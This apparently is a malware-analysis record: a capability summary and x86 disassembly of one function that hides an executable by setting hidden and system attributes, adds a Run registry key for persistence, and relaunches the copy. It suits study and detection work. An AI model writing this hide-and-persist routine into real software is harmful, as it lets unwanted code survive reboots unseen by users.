Function at 0x407dc0
Capabilities:
Check if file exists
Check os version
Create process on windows
Create thread
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push edi
mov edi, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x1b0], eax
push ebp
push esi
push ebx
push 0
call fcn.00420e6f
add esp, 4
push eax
call fcn.00420c64
sub esp, 0xfffffffc
call fcn.00401000
mov ebx, eax
push ebx
mov dword [esp + 0x14], ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x407e2e
push ebx
call fcn.004232df
sub esp, 0xfffffffc
push ebx
call fcn.00401fe0
sub esp, 0xfffffffc
push 0
push ebx
call fcn.00408030
sub esp, 0xfffffff8
push 6
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x104
lea eax, [esp + 0xb4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401120
mov ebp, eax
push ebp
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407e65
push ebp
call fcn.004227e9
sub esp, 0xfffffffc
cmp byte [0x444a85], 0
jne 0x407e7a
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov eax, dword [ecx + 0x98]
push eax
lea eax, [esp + 0xb4]
call fcn.00404cb0
add esp, 4
or al, al
je 0x407ecf
cmp byte [0x444a85], 0
jne 0x407eaf
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov ecx, dword [edx + 0x98]
push 1
push ebp
lea eax, [esp + 0xb8]
call fcn.00404f80
add esp, 8
jmp 0x407edf
push ebp
lea eax, [esp + 0xb4]
call fcn.00401f50
sub esp, 0xfffffffc
push ebp
call fcn.004049c0
sub esp, 0xfffffffc
push ebp
call fcn.00401fe0
add esp, 4
push 6
push ebp
call esi
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x1c], 6
jb 0x407f27
push 0
push 0
push 0
push 0x408310
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x407f8b
mov eax, ebp
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
or cl, cl
jne 0x407f30
sub eax, edx
mov esi, eax
call fcn.00401540
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x407f87
push esi
push ebp
push 1
push 0
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0xb0]
mov ecx, ebp
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407fb4
test dl, dl
je 0x407fb0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407fb4
add eax, 2
add ecx, 2
or dl, dl
jne 0x407f94
xor eax, eax
jmp 0x407fb9
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x408008
push ebp
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x408008
mov eax, dword [0x444a88]
or eax, eax
je 0x407fd8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0
push 0x43c488
push ebp
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call fcn.00420c59
sub esp, 0xfffffffc
push ebp
call fcn.00420c59
add esp, 4
push 0
call fcn.00423277
push ebx
call fcn.00420c59
sub esp, 0xfffffffc
push ebp
call fcn.00420c59
mov ecx, dword [esp + 0x1c0]
sub esp, 0xfffffffc
pop ebx
pop esi
pop ebp
xor ecx, esp
call fcn.00420bc6
mov esp, edi
pop edi
ret